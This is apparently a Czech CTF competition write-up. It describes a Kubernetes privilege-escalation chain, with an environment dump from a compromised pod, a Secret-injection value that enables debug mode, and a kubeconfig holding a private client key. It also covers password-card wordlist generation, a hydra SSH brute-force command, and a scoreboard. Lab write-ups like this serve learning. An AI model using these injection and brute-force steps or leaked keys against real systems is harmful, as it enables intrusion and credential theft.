CATALINA_HOME=/usr/local/tomcat
JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
JGAMES_WEB_SERVICE_HOST=192.168.207.69
JGAMES_WEB_PORT_80_TCP=tcp://192.168.207.69:80
SHLVL=1
JGAMES_WEB_SERVICE_PORT_WEB=80
KUBERNETES_PORT_443_TCP_PROTO=tcp
NCAT_PROTO=TCP
JGAMES_DEBUG_PORT_5005_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=192.168.128.1
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib
JGAMES_WEB_PORT_80_TCP_ADDR=192.168.207.69
KUBERNETES_SERVICE_HOST=192.168.128.1
JGAMES_DEBUG_PORT_5005_TCP=tcp://192.168.183.255:5005
LC_ALL=en_US.UTF-8
KUBERNETES_PORT=tcp://192.168.128.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NCAT_REMOTE_ADDR=10.200.0.76
JGAMES_WEB_PORT_80_TCP_PORT=80
TOMCAT_VERSION=10.1.26
JAVA_VERSION=jdk-21.0.4+7
_=/usr/bin/printenv
OLDPWD=/usr/local/tomcat
4. Uncle SAM
JSAM aneb 192.168.73.120
(možná se mění IP adresa)
má otevřené porty:
8010
WEB- Na webu můžu vytvořet Projekty
9115
Něco zajímavého
Po návratu k [[#1. Travel]] jsem oprášil zdrojový kód sam-operator a lze říci, že:
- namespaces:
sam-queue
<- měl by mít vyšší oprávněnísam-operator
- vznikl uživatel
samop
- po dlooouhéém sledování jsem zjistil že
00-hook.py
je zodpovědný za vytvářeníSecret
konkr.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
UPDATE_TEMPLATE = """ --- apiVersion: v1 kind: ConfigMap metadata: name: "{name}" namespace: "{queue_ns}" data: storage: "{storage}" --- apiVersion: v1 kind: Secret metadata: name: "{name}" namespace: "{queue_ns}" stringData: storage: "{storage}" access_token: "{access_token}" quota: "{quota}" """
Jde tu zejména o to, že jsme schopni vytvářet a mazat
ConfigMap
ale my potřebujeme upravitSecret
abychom zapnulidebug
a splnili tak podmínku ve flask aplikaci pro zobrazení. Je potřeba nastavit
1 sam-operator/project_quota: "1GB\"\n debug: \"1"
Tohle je špatné řešení, ale příkaz z Info je správný !
Náhled na port 9115:
tady už hraje roli i IP adresa 192.168.128.1
např.: https://192.168.128.1/api/v1/namespaces/%7Bnamespace%7D/configmaps?limit=%7Bvalue%7D&resourceVersion=%7Bvalue%7D
která je dostupná jen přes SOCKS proxy
Fragmenty
192.168.128.1
- DNS přes PROXY:
http://sam.lore.tcc
(Kravina) - Hostname:
kubernetes.default.svc.cluster.local
- Port: 443
- Jedná se o kubernetes api server, který vyžaduje ověření
Útok na kubernetes via kubectl
- Nachystat si config
kubeconf.yaml
- namespace je
sam-queue
- Bylo potřeba se vrátit k [[#3. Bounded]] kde jsme našli v
/mnt
konfigurační soubor k uživatelijacob
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJZmNPcWJvVVFTUDh3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFF6TXpSYUZ3MHpOREE0TWpNeE5UUTRNelJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURGSnovZndKL3pUUWY3WUxLYy9hb00rc25LanN2UnBDUUN0YkZzUTRJSmlWQ3pVV0lqbFE1eEJTME4KMHBTaFJDcUZySSsrb0RyVlZMS2NtUXlQQkVCVlliWG93MFhqZ2t5QU5LU3l3YWl4eno5QnloNXk0MElSTGw2Mgorbi8xSmkzVnBUMWFzZ3V5c0VOLzNQU1NiR2VkTVZ6bzJsV0xEdjAwZlQ1b2p1eGo5ZDJveFAwY0dZWDRobVFYCnBlTjhlRDhJQTIxYnNzamYza0ZwYVhrSjlJTDExd3Q0QjdjV2ZYNHNjYWdEZmJZSmlwUHd3VEZCWmZRRGlhMFoKbkgyUThtUTJ5ZEcvWHZtUFBFc1Z2dmJMYy9CdXk2REFVZnkvMzRZdXg4c1ZnUk5DamY1SmMwV09PVU5WNG05aAp3emQ3V2lOclo3MndGU3hlTjE0d0FUY0tXNFp2QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJTdko1MkJLZDNsMkQwNXF1MmpxRHFCeFd1RjhEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQWRZSUQ0OUhCaQp6U00rdVdtUVFaSkU4Z3I2UTJzejZQTHErbGVQQW9jL2Z5c0JZM1k1RVNSNjRSNkM1eU9VRnRGa2p0N29SZ2RzCkRqcVE2eUtweWd2R3J5dHdxQUZORisyRnN2WlpLUVovK09aZE1Ta3EvTWRDZCt2cXZqZW5LL0cvaWdaTzFzM2QKWEZaNmxWOGlOVFFvaXkrWEdOV3FLajNiTEoyQXRQR1lUS1kvejZjN2pETDB6RlZ3SFc0bVQ1NVBpQ3RXYThvbgo2R1lrZWhZaWNmK1ZWZzFZV0tsdUNWcnVPSTJQT2V2bCtGYXJFckkzeWsxVW5pcC9NNDU5dWpzMWgyQ1RrRlBhCndiM2JKMjZwellKSG5oc2dRTE1wd241a2JIQ2IxRU96UmlqRzJDaVdXdFM5eGtDN0taMU9kenFoZ29wQU16M3EKd3hlSncyLzlKWVV2Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
server: https://10.99.24.81:6443
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: jacob
name: jacob@kubernetes
current-context: jacob@kubernetes
kind: Config
users:
- name: jacob
user:
client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURKRENDQWd5Z0F3SUJBZ0lSQUtuQ3ZUSTVySGZJUHRYTU9xeURub2N3RFFZSktvWklodmNOQVFFTEJRQXcKRlRFVE1CRUdBMVVFQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TkRBNE1qVXhOVFE0TlRoYUZ3MHlOVEE0TWpVeApOVFE0TlRoYU1DNHhIREFNQmdOVkJBb1RCV1JsZG1Wc01Bd0dBMVVFQ2hNRmFtRmpiMkl4RGpBTUJnTlZCQU1UCkJXcGhZMjlpTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFrQlRqQjFUQzNDUEwKMHVMdU9CWTRKSGhuL2FUdU9uV1B0bysrSFUxN29KYUc2OHZSSHdjU28xY0VQNkJJVk4zd25TYTN2ZGpiVEVrVApnSjRGL2p2aFJLSk9laHdHWGRCWDJQV3ZFQm1IUkxOQmxuekltRnFscjNodXRMZFBIcC9lSlo5c0Y2ZXU3ZG5zCmhhL0M3eTlwbVl2UDRhTTBoYmVmL0lyNUhLdG8wR2JBOVpUbEhmZmI0dnlZSkFhdFdTRTYwTUNabGxQRDB2b2oKZjY4UVZNektHMmMzRDYzMTF4eThLR3ZHUzYxTUtaSG14aElDWE4rVFpKV1VWNkZIemxWWW14NVRYcFNmZTRXRQpOem1EWUsxU1RSdXhERDRnc09KMUVmNTJJQ2ZhNDRlZnBFdmNWSnhZNmhHc0hyMTRxWGYxQzUzKytrcFRTbWxzClJRdkx4eStqbHdJREFRQUJvMVl3VkRBT0JnTlZIUThCQWY4RUJBTUNCYUF3RXdZRFZSMGxCQXd3Q2dZSUt3WUIKQlFVSEF3SXdEQVlEVlIwVEFRSC9CQUl3QURBZkJnTlZIU01FR0RBV2dCU3ZKNTJCS2QzbDJEMDVxdTJqcURxQgp4V3VGOERBTkJna3Foa2lHOXcwQkFRc0ZBQU9DQVFFQXVZa2VySGdadmxkT2hZWkVBQmR5VjJ2VWUzMlRTckdXCktwbFJKaGJaaDZZU0RpOTB5UVovdWRNaVFERzVGcDV0YXVneWtkUUF4ZEw2U2dGL29lUmRHTHN3TnhZSzd4ZjQKTGtKeDM2RWtzb1FQZ3lUY1ZSRW9RQ2xnUjIwTFlSaFh2alg2ZE1BbDNHbzhEV01ORDNSa1laVGVCVFBkb0x2awpLUUt4VVQxcVplaklaei9QUko4UUt4bGhxZHV3TUY1bGNVbjM4QTl1S0J0S0FSak5JSUFXdDFXQzNHVmFIWnlNCkc5V2RSUnNQRWdFeFc1MnRSN2NUZlBtWENsU3YvU21OdVFjVWhvWk04TFNzcHZUTTNmN2dwVmFuWDdTTEZvL2YKWkVGem8rWnBwd3Y5VTF6T3ArY2c5R2lCaWxldHJUbjZtektQd2dKbzRsT3h6OXpDRTFBdFVBPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
client-key-data: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktZd2dnU2lBZ0VBQW9JQkFRQ1FGT01IVk1MY0k4dlMKNHU0NEZqZ2tlR2Y5cE80NmRZKzJqNzRkVFh1Z2xvYnJ5OUVmQnhLalZ3US9vRWhVM2ZDZEpyZTkyTnRNU1JPQQpuZ1grTytGRW9rNTZIQVpkMEZmWTlhOFFHWWRFczBHV2ZNaVlXcVd2ZUc2MHQwOGVuOTRsbjJ3WHA2N3QyZXlGCnI4THZMMm1aaTgvaG96U0Z0NS84aXZrY3EyalFac0QxbE9VZDk5dmkvSmdrQnExWklUclF3Sm1XVThQUytpTi8KcnhCVXpNb2JaemNQcmZYWEhMd29hOFpMclV3cGtlYkdFZ0pjMzVOa2xaUlhvVWZPVlZpYkhsTmVsSjk3aFlRMwpPWU5nclZKTkc3RU1QaUN3NG5VUi9uWWdKOXJqaDUra1M5eFVuRmpxRWF3ZXZYaXBkL1VMbmY3NlNsTkthV3hGCkM4dkhMNk9YQWdNQkFBRUNnZ0VBQnlKUm4zSk45N0o2RENZYVg0S1NJeFFuS2dMNW5NRm5iVVd1eHlxbi9XcVcKb2FSRTVZRm5KZGxRSjRwYktvQ1d3bUZCWmRBUUE3WDJsajY4MHpySnk2a3hzNUFockpGOVdBdktNRVRqVXI2QgpkOThUMjU5Wlp0ZlN1M1g4SCtzUWg5SmQrc25kdW44NDIrRzVDRGpUeEx1TWZvS2pQaCs2ZHptMlhmb0t4WTdOCjVVd0RPdURHYjNmVXhsZDJZcSswUCtxWUdxcjZUWjY5aUZZMVNERHQxdkV6dUhDcHJmeDlyZk0wbjdXdDU5SmoKSmwxVWpDeXU1elhSbU9sZ0xUK3NLdUdBOUlGTGRRcTF2Zi9zSFczZFZ2Ykpnam5FN2dpR2ZvYTlTMDc0TzFibgpocEFBaU9wNEVGalFoaXkzV1d3L2lpdXliRkRlbkFhcC9rZHJyWm9xS1FLQmdRREcxWENoYnlWSGRTL3FMVUhNCmdMV280dW9XY1lUTXJNdm1RamxHelhYWHR0UWdEdCtZd1JXTnFKdFJrQkc0dkVabDJ1cXdUeDlleDRwUFdSSXAKL1pPd2JnNVBmNE1GZkc0K0dZeU83YlVxVGRLU0tNa1Y1eEszUFU0VGtoanpCR042dFpQNDUxZDV4azN5TUFpdwpyV2FEdk05SHhDS2tTZkRRbFRCY3hCcDA5UUtCZ1FDNWdaUXJLQk8zL1VmUEFXYUw4b2FpY25jaHhhanhRNXAzCkQ1RDBwbndhRmNKemFZcm5GK2h3ejcxUnRreFNPVWh0Mkx2MUZLeksxRjVIRVJtNFpFczFsVTJRRHl3Y25OdmkKNVByUGxGZDViUU12c1BIK0dqNTJXaE1YWGs4QVRhZjdLWnVqUzVVYTM5bHViMXVYN2VaSzJ1WUZPN3V3TVlUKwpFV21FM09sKzJ3S0JnQy9EVC9ZSG0vM3BZYVF3VVBFT0xoVXV4U3ExQkVDaWRheVBWZkR6SkE2NGhZWlo3RTVtCmU0WDI3YkNQR2lLMVgzZlNPYlEybllPSURXcDRMQXZZTlNVWm11aHY2Z3BrVkpzb1NnSi9pWmhxNzExYTNNc2QKSWZyUWlEUGRVWTczQytxTE9jdDl6eDZhaTFqVlB4RXA1a2xaRHJYZm9LNjBjRnU2cXM1dDhTa05Bb0dBWmxtZgpKWnlNSEtTclBRUjV6dGMxLzJVR1krVEp6S3ZQQ3NmVTQ1Y0R1K1NyajcvNHVuNVBhZ2JFWHRRbEVleTNFSnhYClArWnpXOG1HWnRHQmptSVB1UFd5Z0x4T1MwOGtadkNOallBOEx5dTlhVS9JaExsNEl4YVpsL2dad0lJWUg1U2EKWWFOdkZnL1J5SU82Vm40VTVOSVh2V1Z5cmNqMHByVjJzYTZ0U2FjQ2dZQnBKb1UvYzc1NVFTQi9uTVNpUmxuRQpUVkJsWkIvMkExL01pYzJoU2syVXJuajhUN0dIZmM1TEp0VmNNZEJyS1h4ckE5OXNEUHFwclB2UzcyVkl0VE9ZCitsckdmYVh0bUtpUDFXUnVXNllpTUFScTBBM1Q1SVdacTBlRlVYNCthNVdvK0N1d2pUNmp5V3lrM0doVUNQUFIKWnZQL2REdmRmRTBOVm1HT0phaFltdz09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K
Long secure password
- To jsem vyřešil pomocí ChatGPT, který to vyřešil víceméně celé za mě..
-
Bylo potřeba si udělat slovník hesel, měl by mít 518 hesel.
- Tabulka hesel:
- Zároveň to je i můj první prompt pro ChatGPT:
1
tab = [ 'SQUIRREL*JUDGE*NEWS*LESSON', 'WORRY*UPDATE*SEAFOOD*CROSS', 'CHAPTER*SPEEDBUMP*CHECKERS', 'PHONE*HOPE*NOTEBOOK*ORANGE', 'CARTOONS*CLEAN*TODAY*ENTER', 'ZEBRA*PATH*VALUABLE*MARINE', 'VOLUME*REDUCE*LETTUCE*GOAL', 'BUFFALOS*THE*CATCH*SUPREME', 'LONG*OCTOPUS*SEASON*SCHEME', 'CARAVAN*TOBACCO*WORM*XENON', 'PUPPY*LIKE*WHATEVER*POPULAR', 'SALAD*UNKNOWN*SQUATS*AUDIT', 'HOUR*NEWBORN*TURN*WORKSHOP', 'USEFUL*OFFSHORE*TOAST*BOOM', 'COMPANY*FREQUENCY*NINETEEN', 'AMOUNT*CREATE*HOUSE*FOREST', 'BATTERY*GOLDEN*ROOT*WHEELS', 'SHEEP*HOLIDAY*APPLE*LAWYER', 'SUMMER*HORSE*WATER*SULPHUR' ]
- Druhý prompt:
1
2
3
Rozumím. Abychom nalezli všechny možné 18znakové sekvence, které obsahují hvězdičky a splňují podmínky (lze číst v různých směrech, včetně diagonálních), musíme systematicky zkontrolovat všechny pozice v tabulce jako startovní body a zkoumat, zda můžeme posunem o 18 znaků vytvořit platné heslo.
Kód pro nalezení všech sekvencí z tabulky, které splňují tvůj požadavek, mohu napsat, pokud bys chtěl, aby výsledek obsahoval všechny možné kombinace. Dej mi vědět, jestli pokračovat v této analýze a vytvořit kód, který ti seznam sekvencí poskytne.
Ten jsem si následně nechal převést do .txt souboru a ten stáhl
Po získaném heslu a úspěšném zjištění pomocí nástroje hydra
víme, že heslo je: SAOPUNUKTPHCANEMFW
Login
- Hostname:
password-card-rules.cypherfix.tcc
- User:
futurethinker
- Password:
SAOPUNUKTPHCANEMFW
- Přihlásit se via SSH a whoala :)
hydra -l futurethinker -P wordlist.txt password-card-rules.cypherfix.tcc ssh
FLAG:
FLAG{uNZm-GGVK-JbxV-1DIx}
Engyho varianta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
tab = ['SQUIRELL*JUDGE*NEWS*LESSON',
'WORRY*UPDATE*SEAFOOD*CROSS',
'CHAPTER*SPEEDBUMP*CHECKERS',
'PHONE*HOPE*NOTEBOOK*ORANGE',
'CARTOONS*CLEAN*TODAY*ENTER',
'ZEBRA*PATH*VALUABLE*MARINE',
'VOLUME*REDUCE*LETTUCE*GOAL',
'BUFFALOS*THE*CATCH*SUPREME',
'LONG*OCTOPUS*SEASON*SCHEME',
'CARAVAN*TOBACCO*WORM*XENON',
'PUPPYLIKE*WHATEVER*POPULAR',
'SALAD*UNKNOWN*SQUATS*AUDIT',
'HOUR*NEWBORN*TURN*WORKSHOP',
'USEFUL*OFFSHORE*TOAST*BOOK',
'COMPANY*FREQUENCY*NINETEEN',
'AMOUNT*CREATE*HOUSE*FOREST',
'BATTERY*GOLDEN*ROOT*WHEELS',
'SHEEP*HOLIDAY*APPLE*LAWYER',
'SUMMER*HORSE*WATER*SULPHUR']
passLen = 18
rows = 19
cols = 26
def AddToPass(pwd, row, col):
if row >= 0 and row < rows:
if col >= 0 and col < cols:
return pwd + tab[row][col]
def GenPass(rowDir, colDir):
pwd = ''
for i in range(passLen):
pwd = AddToPass(pwd, row + i * rowDir, col + i * colDir)
if pwd != None:
print(pwd)
for row in range(rows):
for col in range(cols):
GenPass( 0, 1)
GenPass( 0, -1)
GenPass( 1, 0)
GenPass(-1, 0)
GenPass( 1, 1)
GenPass( 1, -1)
GenPass(-1, 1)
GenPass(-1, -1)
Výsledky
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| Place | Team | Score | Time [UTC] |
|-------|------------------|-------|-----------------------|
| 1 | vcpo | 51 | 08.10.2024 11:32:02 |
| 2 | klarz | 51 | 08.10.2024 11:45:03 |
| 3 | EngyCZ | 51 | 11.10.2024 00:13:50 |
| 4 | Jelen a šnek | 51 | 12.10.2024 18:38:34 |
| 5 | Šuflikanti | 51 | 13.10.2024 21:56:59 |
| 6 | vincent.woops | 51 | 14.10.2024 21:05:14 |
| 7 | fearless | 51 | 16.10.2024 20:48:33 |
| 8 | havry | 51 | 17.10.2024 13:46:32 |
| 9 | dnakov | 51 | 18.10.2024 21:59:41 |
| 10 | ❄ | 51 | 19.10.2024 02:07:21 |
| 11 | spm | 51 | 20.10.2024 17:43:37 |
| 12 | BiT | 51 | 22.10.2024 10:50:31 |
| 13 | ov49babi4ka | 51 | 22.10.2024 12:06:25 |
| 14 | charlie | 51 | 22.10.2024 20:49:37 | <--
| 15 | chris | 51 | 24.10.2024 10:23:01 |
| 16 | stan | 51 | 24.10.2024 12:51:36 |
| 17 | vrtačka | 51 | 24.10.2024 14:25:42 |
| 18 | Yaneek | 51 | 24.10.2024 14:45:14 |
| 19 | Longmatys | 51 | 28.10.2024 19:40:53 |
| 20 | tomjab | 51 | 28.10.2024 19:45:14 |
| 21 | Majino | 51 | 28.10.2024 20:10:13 |
| 22 | H4CTF | 51 | 28.10.2024 20:33:08 |
| 23 | Mikulas | 51 | 29.10.2024 09:09:42 |
| 24 | petko | 51 | 29.10.2024 09:43:04 |
| 25 | tuna | 51 | 29.10.2024 09:51:42 |
| 26 | Siso | 51 | 29.10.2024 10:30:00 |
| 27 | 00gblngq | 51 | 29.10.2024 10:43:55 |
| 28 | buykjk | 46 | 15.10.2024 12:58:53 |
| 29 | Seznam 🐶 | 45 | 10.10.2024 20:37:19 |
| 30 | ondrca | 45 | 21.10.2024 19:21:11 |